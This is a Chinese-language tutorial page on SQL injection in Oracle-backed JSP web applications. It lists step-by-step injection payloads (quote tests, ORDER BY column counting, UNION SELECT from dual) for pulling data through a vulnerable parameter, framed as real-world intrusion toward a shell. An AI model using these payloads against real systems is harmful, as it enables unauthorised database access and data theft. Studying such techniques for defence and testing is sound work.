程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> Oracle web環境注射技術在真實世界裡注射

Oracle web環境注射技術在真實世界裡注射

編輯:Oracle數據庫基礎

以下的文章是淺談Oracle web環境注射技術在真實世界裡的注射的實際操作,如果你想知道一個真實世界的相關注射是什麼樣子的話,以下的文章你一定不能錯過。所以就讓我們試試如何從注射點來獲得一個shell。

首先,我們找到一個可能存在注射的頁面,list.JSP?username=loveshell,我們添加一個'結果出錯了,通過爆出的錯誤知道這是一個Oracle的後台數據庫,如含有ORA-xxxx這樣的都是Oracle,然後用語句:

  1. list.JSP?username=loveshell' and ''||'1'='1  

正常

  1. list.JSP?username=loveshell' and ''||'2'='1  

返回空

  1. list.JSP?username=loveshell'-- 

這樣可以知道是一個Oracle的字符類型的注射點,那麼我們就可以用這種方式插入自己的SQL語句了  list.JSP?username=loveshell' and [我們的sql語句] --

這個時候我們就可以根據自己的目標考慮後續的入侵思路了,一種是向web方向發展,通過查詢數據庫的信息來滲透web,一種就是直接入侵數據庫,當然,最完美的情況下是Oracle和web是一台機器。先說說如何查詢數據庫裡存儲的信息吧!要想取得信息就要將信息反饋回來,一種是利用union查詢,譬如這裡我們的入侵手法類似於下面:

  1. list.JSP?username=loveshell' order by 10 

錯誤,如果錯誤信息被反饋的話應該會出現xx coloum不存在之類的,字段數小於10

  1. list.JSP?username=loveshell' order by 5 

正常顯示,字段數大於5

最後發現到order by 8的時候錯誤,order by 7 就正常,說明是7個字段。注意這裡,一般的時候,頁面的邏輯很簡單,所以可以這樣order by猜測,但是如果這個參數進入了2個以上sql語句,裡面結果的字段數不一,就難用這種方法了。

當然,如果進入2個以上Sql語句的話,估計union查詢也無法使用了,因為sql語句的前後字段數會不一,無法滿足條件,後面我們將說到一種萬能的獲取數據的方法,這裡先說比較直觀的union查詢。

  1. list.JSP?username=loveshell' union select NULL,NULL,
    NULL,NULL,NULL,NULL,NULL from dual 

用7個NULL來匹配對應的字段不會出現字段類型不一的情況,與MySQL不同,後面的select語句必須加一個存在的表,這裡是dual。

這裡正常返回,然後我們就可以繼續了,尋找的用做信息反饋的字段需要滿足我上面在基本思路裡的幾個條件。 

  1. list.JSP?username=loveshell' and 1=2 union select  

1,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 正常

  1. list.JSP?username=loveshell' and 1=2
    union select 1,2,NULL,NULL,NULL,NULL,NULL from dual 

錯誤,第二個字段不是數字類型

  1. list.JSP?username=loveshell' and 1=
    2 union select 1,'2',NULL,NULL,NULL,NULL,NULL from dual 

錯誤,第二個字段不是字符類型

這種情況是可能的,因為字段裡還包括其他的如日期等類型,這種類型對於我們反饋信息沒什麼用,所以用NULL直接跳過。

  1. list.JSP?username=loveshell' and 1=2 union select 1,
    NULL,'3',NULL,NULL,NULL,NULL from dual 

這個時候正常了,而且在頁面的對應的位置顯示了,這個字段正是我們要找的。有的時候如果想看某個數字是多少怎麼辦呢?譬如想看記錄的條數,直接二分法是可以的,但是直接顯示出來還是比較直觀,譬如想看dba_tables的記錄數

  1. list.JSP?username=loveshell' and 1=2 union select 1,
    to_char((select count(*) from dba_tables),'0000000
    '),
    NULL,NULL,NULL,NULL,NULL from dual 

以上的相關內容就是對Oracle web環境注射技術在真實世界裡的注射的相關內容介紹,望你能有所收獲。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved